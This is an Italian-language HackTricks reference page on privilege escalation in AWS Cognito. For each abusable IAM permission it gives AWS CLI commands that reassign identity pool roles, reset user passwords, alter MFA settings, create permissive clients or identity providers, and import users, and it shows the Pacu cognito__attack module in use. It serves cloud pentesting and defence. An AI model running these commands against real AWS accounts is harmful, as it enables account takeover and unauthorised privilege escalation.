AWS - Cognito Privesc

Reading time: 12 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cognito

Per ulteriori informazioni su Cognito consulta:

AWS - Cognito Enum

Raccolta credenziali dall'Identity Pool

Poiché Cognito può fornire IAM role credentials sia agli authenticated sia agli unauthenticated users, se trovi l'Identity Pool ID di un'applicazione (di solito è hardcoded) puoi ottenere nuove credenziali e quindi privesc (in un AWS account in cui probabilmente non avevi alcuna credenziale precedentemente).

Per maggiori informazioni consulta questa pagina.

Impatto potenziale: Privesc diretto al ruolo di servizio assegnato agli unauth users (e probabilmente anche a quello assegnato agli auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con questo permesso puoi grant any cognito role agli utenti authenticated/unauthenticated dell'app Cognito.

bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Se l'app cognito non ha abilitato gli utenti non autenticati potresti aver bisogno anche del permesso cognito-identity:UpdateIdentityPool per abilitarli.

Impatto potenziale: Privesc diretto su qualsiasi cognito role.

cognito-identity:update-identity-pool

Un attacker con questo permesso potrebbe, per esempio, impostare un Cognito User Pool sotto il suo controllo o qualsiasi altro identity provider dove può effettuare il login come modo per accedere a questo Cognito Identity Pool. Successivamente, semplicemente effettuando il login su quel provider di utenti, potrà accedere al ruolo authenticated configurato nell'Identity Pool.

bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

È anche possibile abusare di questo permesso per consentire basic auth:

bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impatto potenziale: Compromettere il ruolo IAM autenticato configurato all'interno dell'identity pool.

cognito-idp:AdminAddUserToGroup

Questa autorizzazione consente di add a Cognito user to a Cognito group, quindi un attaccante potrebbe abusare di questa autorizzazione per aggiungere un Cognito user sotto il suo controllo ad altri Cognito group con privilegi migliori o ruoli IAM differenti:

bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impatto potenziale: Privesc to other Cognito groups and IAM roles attached to User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attacker con questi permessi potrebbe creare/aggiornare gruppi con ogni IAM role che può essere usato da un Cognito Identity Provider compromesso e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:

bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potential Impact: Privesc verso altri ruoli IAM di Cognito.

cognito-idp:AdminConfirmSignUp

Questa autorizzazione permette di verificare una registrazione. Per impostazione predefinita chiunque può registrarsi nelle applicazioni Cognito; se ciò è permesso, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questa autorizzazione.

bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impatto potenziale: Indirect privesc al ruolo IAM dell'identity pool per gli utenti autenticati se puoi registrare un nuovo utente. Indirect privesc ad altre funzionalità dell'app, permettendo di confermare qualsiasi account.

cognito-idp:AdminCreateUser

Questa autorizzazione permetterebbe a un attaccante di creare un nuovo utente all'interno del user pool. Il nuovo utente viene creato come enabled, ma dovrà cambiare la password.

bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potenziale impatto: Privesc diretto al role IAM dell'identity pool per utenti autenticati. Privesc indiretto su altre funzionalità dell'app che permettono di creare qualsiasi utente

cognito-idp:AdminEnableUser

Questa permission può essere utile in uno scenario molto raro in cui un attacker ha trovato le credenziali di un utente disabilitato e ha bisogno di riattivarlo.

bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impatto potenziale: privesc indiretto alla identity pool IAM role per utenti autenticati e ai permessi dell'utente se l'attaccante avesse le credenziali di un utente disabilitato.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Questa autorizzazione consente di effettuare il login con il method ADMIN_USER_PASSWORD_AUTH. Per maggiori informazioni segui il link.

cognito-idp:AdminSetUserPassword

Questa autorizzazione permetterebbe a un attaccante di cambiare la password di qualsiasi utente, consentendogli di impersonare qualsiasi utente (che non abbia MFA abilitata).

bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impatto potenziale: Privesc diretta su potenzialmente qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato dell'Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un attacker potrebbe potenzialmente abusare di questa autorizzazione per impostare un numero di telefono mobile sotto il suo controllo come SMS MFA of a user.

bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Simile a quello precedente, questa permission può essere usata per impostare le preferenze MFA di un utente per bypassare la protezione MFA.

bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Simile al precedente, questo permesso può essere usato per impostare le preferenze MFA di un user pool per bypassare la protezione MFA.

bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: È anche possibile aggiornare lo user pool per cambiare la MFA policy. Check cli here.

Potential Impact: Privesc indiretto verso potenzialmente qualsiasi utente di cui l'attaccante conosca le credenziali; questo potrebbe permettere di bypassare la protezione MFA.

cognito-idp:AdminUpdateUserAttributes

Un attaccante con questo permesso potrebbe cambiare l'indirizzo email o il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere maggiori privilegi in un'applicazione sottostante.
Questo consente di modificare un'email o un numero di telefono e impostarlo come verificato.

bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impatto potenziale: Potenziale privesc indiretto nell'applicazione sottostante che usa Cognito User Pool che assegna privilegi basati sugli attributi utente.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attacker con questa permission potrebbe creare un nuovo User Pool Client meno restrittivo rispetto ai client già esistenti. Per esempio, il nuovo client potrebbe permettere qualsiasi tipo di metodo per authenticate, non avere alcun secret, avere token revocation disabilitata, permettere che i tokens siano validi per un periodo più lungo...

La stessa cosa può verificarsi se, invece di creare un nuovo client, se ne modifica uno esistente.

Nella command line (o nello update one) puoi vedere tutte le opzioni, controllale!

bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impatto potenziale: Potenziale privesc indiretto per l'utente autorizzato dell'Identity Pool utilizzato dallo User Pool, tramite la creazione di un nuovo client che allenta le misure di sicurezza e permette a un attacker di eseguire il login con un user che è riuscito a creare.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attacker potrebbe abusare di questa permission per creare utenti caricando un csv con nuovi utenti.

bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Nel caso in cui crei un nuovo import job potresti anche aver bisogno del permesso iam passrole; non l'ho ancora testato).

Impatto potenziale: Privesc diretto al ruolo IAM dell'identity pool per utenti autenticati. Privesc indiretto verso altre funzionalità dell'app che consentono di creare qualsiasi utente.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attacker potrebbe creare un nuovo identity provider per poi poter eseguire il login tramite questo provider.

bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: Privesc diretto al ruolo IAM della identity pool per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app in grado di creare qualsiasi utente.

cognito-sync:* Analisi

Questo è un permesso molto comune di default nei ruoli di Cognito Identity Pools. Anche se un carattere jolly in un permesso sembra sempre pericoloso (soprattutto se proviene da AWS), le given permissions aren't super useful from an attackers perspective.

Questo permesso permette di leggere informazioni d'uso delle Identity Pools e degli Identity IDs all'interno delle Identity Pools (che non sono informazioni sensibili).
Gli Identity IDs potrebbero avere assegnati loro dei Datasets, che sono informazioni delle sessioni (AWS li definisce come una partita salvata). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella enumeration page come accedere a queste informazioni.

An attacker potrebbe anche usare questi permessi per enroll himself to a Cognito stream that publish changes su questi datases o per una lambda that triggers on cognito events. Non ho visto questo essere usato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.

Strumenti Automatici

  • Pacu, il framework di exploitation per AWS, include ora i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumeration di tutti gli asset Cognito in un account e segnalano configurazioni deboli, attributi utente usati per il controllo d'accesso, ecc., e inoltre automatizzano la creazione di utenti (incluso il supporto MFA) e la privilege escalation basata su attributi custom modificabili, usable identity pool credentials, assumable roles in id tokens, ecc.

Per una descrizione delle funzioni dei moduli vedi la parte 2 del blog post. Per le istruzioni di installazione vedi la pagina principale di Pacu.

Uso

Esempio di utilizzo di cognito__attack per tentare la creazione di utenti e tutti i privesc vectors contro una data identity pool e user pool client:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Esempio di utilizzo di cognito__enum per raccogliere tutti i user pools, user pool clients, identity pools, users, ecc. visibili nell'account AWS corrente:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner è uno strumento CLI in python che implementa diversi attacchi su Cognito, tra cui un privesc escalation.

Installazione

bash
$ pip install cognito-scanner

Uso

bash
$ cognito-scanner --help

Per maggiori informazioni consulta https://github.com/padok-team/cognito-scanner

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks